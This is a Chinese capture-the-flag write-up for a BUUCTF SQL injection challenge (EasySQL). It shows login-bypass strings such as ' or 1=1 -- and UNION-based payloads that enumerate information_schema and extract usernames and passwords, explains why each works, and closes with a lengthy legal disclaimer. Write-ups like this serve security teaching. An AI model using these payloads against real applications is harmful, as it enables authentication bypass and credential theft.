【BUUCTF系列】[极客大挑战 2019] EasySQL 1
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
文章目录
- 解题思路
- 方法一:万能密码绕过
- 方法二:联合注入查询
解题思路
拿到题目,我们第一眼可以发现这是一道sql注入的题目
我们先回顾一下什么是sql注入?
SQL注入就是黑客通过在输入框中插入恶意SQL代码,欺骗数据库执行非授权操作的安全漏洞。
本题需要我们用sql注入,绕过登录页面,拿到我们的flag
我们先来判断一下这里的sql注入类型
输入1
页面没有报错,说明不是数字型sql注入;
输入1 " 和1’(注意是英文状态下的符号)
发现只有输入1’时,页面会报错,可判断,报错信息发现是基于单引号的注入。是字符型sql注入;而且报错内容会显示在前端说明是显错型,即数据库后端报错信息会显示在前端页面。
—
方法一:万能密码绕过
我们开始尝试用万能密码绕过
’ or 1=1 –
’ or ‘a’=‘a
’ or ‘’=’
admin’ or ‘1’=‘1’ –
以防万一我们在用户名和密码处都填入我们的万能密码,进行绕过
成功拿到flag
' or 1=1 --
SQL注入绕过原理详解
这个经典的SQL注入攻击字符串' or 1=1 --
能够绕过登录验证,其原理如下:
原始SQL语句(正常情况)
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'
注入后的SQL语句
当攻击者输入:
- 用户名:
admin
- 密码:
' or 1=1 --
实际执行的SQL变为:
SELECT * FROM users WHERE username = 'admin' AND password = '' or 1=1 --'
关键点解析
- 单引号闭合:第一个
'
闭合了密码字段的引号 - OR逻辑:
or 1=1
使条件永远为真(1=1恒成立) - 注释符号:
--
注释掉SQL语句剩余部分(包括原始密码检查) - 最终效果:查询变为
WHERE username='admin' AND (password='' OR TRUE)
这种攻击之所以能成功,是因为应用程序直接将用户输入拼接到SQL语句中,而没有进行适当的过滤或参数化处理。
方法二:联合注入查询
,由前面可知,只是一个单引号的字符型显错注入,我们输入1' union select 1,2#
尝试判断数据库里字段的数量
发现了页面报错,说明字段数不是2,继续用1' union select 1,2,3#
发现可以显示出flag
联合注入查询(SQL Union Injection)原理详解
基本概念
联合注入是利用SQL的UNION
操作符将恶意查询结果附加到原始查询结果中的攻击技术,是SQL注入中最常用的信息提取手段之一。
攻击步骤解析
-
探测字段数:
- 输入
1' union select 1,2#
→ 报错(字段数≠2) - 输入
1' union select 1,2,3#
→ 成功显示(字段数=3)
- 输入
-
原理说明:
UNION
要求前后查询的列数必须相同- 通过不断增加
select 1,2,...n
中的数字数量,直到不报错 - 数字1,2,3等会显示在页面中,标识可回显的位置
实际攻击流程
原始查询:
SELECT * FROM products WHERE id = '用户输入'攻击者输入:
1' UNION SELECT 1,2,3#最终执行:
SELECT * FROM products WHERE id = '1' UNION SELECT 1,2,3#'
UNION操作特性
- 合并两个SELECT语句的结果集
- 要求:
- 两个SELECT必须有相同数量的列
- 对应列的数据类型必须兼容
攻击者利用方式
- 确定列数(如你示例中的尝试)
- 识别可回显列(页面显示的数字位置)
- 替换为实际查询:
在可回显位置(2,3)插入想获取的信息1' UNION SELECT 1,database(),version()#
典型攻击载荷
-
获取数据库信息:
' UNION SELECT 1,database(),version(),4#
-
获取表名:
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()#
-
获取列名:
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'#
-
提取数据:
' UNION SELECT 1,username,password FROM users#
这种攻击之所以有效,是因为应用程序未对用户输入进行适当处理,直接将输入拼接到SQL语句中执行,使得攻击者可以扩展原始查询的逻辑。
宇宙级免责声明
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助!记得负责任地进行安全测试。